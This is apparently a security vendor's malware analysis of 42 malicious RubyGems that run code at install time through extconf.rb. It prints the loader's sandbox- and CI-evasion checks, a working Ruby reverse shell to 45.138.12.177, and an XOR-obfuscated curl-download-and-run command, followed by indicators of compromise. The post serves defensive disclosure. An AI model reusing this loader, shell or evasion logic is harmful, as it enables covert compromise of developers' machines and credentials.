42 Malicious RubyGems Open a Reverse Shell at Install Time

Kunal Singh5 min read

On October 5, 2026, the RubyGems account reqthrottle_3474 published 42 malicious gems in about one hour. Most of the names target cryptocurrency developers, like eth-keystore-utils, bip39-wordlist-utils, and btc-wallet-tools. The last 16 are typosquats of real gems, like bitcion, etheremu.rb, kecack, and solaan-ruby. The malicious code runs during gem install or bundle install.

The gems do nothing in CI or in a sandbox. On a developer’s machine, they wait 20 to 40 minutes in the background, then do one of two things:

  1. Eleven gems open a reverse shell to 45.138.12[.]177 on port 8089 or 8090.
  2. Thirty-one gems download wgkit.tar.gz from 45.138.12[.]177:8092 and run wg_install.sh from it.

For the 11 reverse-shell gems, the installation completes with no visible error. If a workstation installed one of these gems, treat the machine and its credentials as compromised.

How the code runs at install time

A gem can declare a native extension in its gem specification. During installation, RubyGems runs the extconf.rb file of the extension with Ruby. For a real extension, this step makes a Makefile. The malicious gems use this step to run their code. All 42 gem specifications declare an extension:

metadata.gz (eth-keystore-utils 1.0.0, excerpt)
extensions:
  - ext/req_throttle_mini/extconf.rb

The Ruby code in lib/ is a decoy. For example, lib/eth_keystore_utils.rb parses encrypted Ethereum key files. It does nothing malicious. The 31 newer gems also contain a C file with an empty Init_ function. This file makes the extension directory look like a real native extension.

All 42 extconf.rb files come from two templates. The 11 reverse-shell gems use template A. The 31 second-stage gems use template B.

Environment checks

Both templates do the same checks first. The gem stops if one of these conditions is true:

  • The environment contains a CI variable (CI, GITHUB_ACTIONS, TRAVIS, JENKINS_URL, GITLAB_CI, CODESPACES).
  • The hostname is empty, instance, localhost, or contains uvm, firecracker, sandbox, vagrant, or fc-vm.
  • The username starts with uA followed by digits, or contains sandbox, tester, analys, or scanner.
  • The current directory is under /opt/rubygems, /var/tmp, /tmp/, /private/var/tmp, or /workspace/.

Next, the gem looks for two signs of a real workstation:

  • The system uptime is more than 30 minutes.
  • The home directory contains .ssh, .gitconfig, .npmrc, .gem/credentials, or .bundle.
ext/req_throttle_mini/extconf.rb (eth-keystore-utils 1.0.0, excerpt)
def machine_age_ok?
  ut = begin; File.read('/proc/uptime').split.first.to_f; rescue Exception; 0.0; end
  ut > 1800
end

def dev_signals?
  home = ENV['HOME'].to_s
  return false if home.empty? || !File.directory?(home)
  return true if File.exist?(File.join(home, '.ssh'))
  return true if File.exist?(File.join(home, '.gitconfig'))
  return true if File.exist?(File.join(home, '.npmrc'))
  return true if File.exist?(File.join(home, '.gem', 'credentials'))
  return true if File.exist?(File.join(home, '.bundle'))
  false
end

unless in_ci? || ephemeral_host? || generated_user? || analysis_path?
  if machine_age_ok? && dev_signals?

A scanner can install the gem in a new container, under /tmp, or in a CI job. In each of these cases, the checks fail. The scanner then records a normal installation with no network traffic.

The loader

If the checks pass, the gem decodes a Base64 string into Ruby source code. It forks twice and calls Process.setsid, so the payload keeps running after the installation ends. The process sends standard input, output, and error to /dev/null. Then it runs the payload with eval.

ext/req_throttle_mini/extconf.rb (eth-keystore-utils 1.0.0, excerpt)
      pid = fork do
        begin; Process.setsid; rescue Exception; end
        child = fork do
          begin
            $stdin.reopen(File::NULL, 'r')
            $stdout.reopen(File::NULL, 'w')
            $stderr.reopen(File::NULL, 'w')
          rescue Exception
          end
          sleep 1200 + rand(1200)
          begin
            eval(payload)
          rescue Exception
          end
          exit!(0)
        end
        begin; Process.detach(child); rescue Exception; end
        exit!(0)
      end

A rescue Exception block wraps each step. After the fork, template A calls create_makefile, and gem install finishes normally.

Template B is the same loader with two differences. It has no sleep, because its payload contains the delay. It also has no require 'mkmf'. Inference: without mkmf, the create_makefile call fails, and the installation shows an error. But the payload process starts before this error, so the error does not stop it.

Reverse shell payload

Eleven gems decode to the same reverse shell. Only the port is different.

Decoded payload (eth-keystore-utils 1.0.0)
require 'socket'
HOST, PORT = '45.138.12.177', 8090
loop do
  begin
    sock = TCPSocket.new(HOST, PORT)
    sh = IO.popen(['/bin/sh'], 'r+')
    t1 = Thread.new { IO.copy_stream(sock, sh) }
    t2 = Thread.new { IO.copy_stream(sh, sock) }
    t1.join; t2.join
    begin; sh.close; rescue Exception; end
  rescue Exception
  end
  sleep 30
end

The operator gets a /bin/sh shell. The shell has the permissions of the user who ran gem install. If the connection stops, the payload connects again after 30 seconds. Four gems use port 8089: req-throttle-mini, bitcoin-rpc-lite, wallet-crypto-utils, and web3-eth-utils. The other seven gems use port 8090.

Second-stage download payload

Thirty-one gems decode to a downloader. The payload keeps the URL as a hex string. It decodes the string with XOR and the 4-byte key usv\x9a.

Decoded payload (wallet-backup-tool 1.0.0)
key = "usv\x9a".bytes
hex = '1d0702ea4f5c59ae405d47a94d5d47a85b4241ad4f4b46a3475c01fd1e1a02b4011204b41209'
bs = [hex].pack('H*').bytes
url = ENV['WG_KIT_URL'] || bs.each_with_index.map { |b, i| b ^ key[i % key.length] }.pack('C*')
sleep(ENV['WG_FAST'] ? 2 : 1200 + rand(1200))
cmd = "curl -s --max-time 25 \"#{url}\" -o /tmp/.w1.tgz; mkdir -p /tmp/.w1; tar xzf /tmp/.w1.tgz -C /tmp/.w1 2>/dev/null; bash /tmp/.w1/wg_install.sh >/dev/null 2>&1; rm -rf /tmp/.w1 /tmp/.w1.tgz"
system(cmd) rescue nil

In all 31 gems, the string decodes to http://45.138.12.177:8092/wgkit.tar.gz. The payload then:

  1. Waits 20 to 40 minutes.
  2. Downloads the archive to /tmp/.w1.tgz.
  3. Extracts it to /tmp/.w1/.
  4. Runs wg_install.sh with bash.
  5. Deletes the files.

The environment variable WG_KIT_URL changes the URL. The variable WG_FAST sets the delay to 2 seconds. Inference: the operator uses them for tests. What wg_install.sh does is not known.

Indicators of compromise

The account has 48 gems. Of these, 42 contain the malicious extension:

rubygems-reqthrottle-crypto-gems-packages.csv
RowEcosystemNameVersion
1gemreq-throttle-mini1.0.1
2gemthrottle-requests1.0.1
3gemrate-limit-mini1.0.1
4gemrequest-guard1.0.1
5gembitcoin-rpc-lite1.0.0
6gemweb3-eth-utils1.0.0
7gemwallet-crypto-utils1.0.0
8gemeth-keystore-utils1.0.0
9gembtc-wallet-tools1.0.0
10gemeth-address-utils1.0.0
11gemcrypto-mnemonic-tools1.0.0
12gemwallet-backup-tool1.0.0
13gembip39-wordlist-utils1.0.0
14gemhdkey-derive-helper1.0.0
15gemblockchain-sync-utils1.0.0
16gemtx-broadcast-utils1.0.0
17gemelectrum-protocol-lite1.0.0
18gemcoinmarket-utils1.0.0
19gemweb3-sign-helper1.0.0
20gemcrypto-key-utils1.0.0
42 rows · showing first 203 columns
  • rubygems
  • ruby
  • supply-chain
  • malware
  • package-analysis

Author

Kunal Singh

Kunal Singh

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.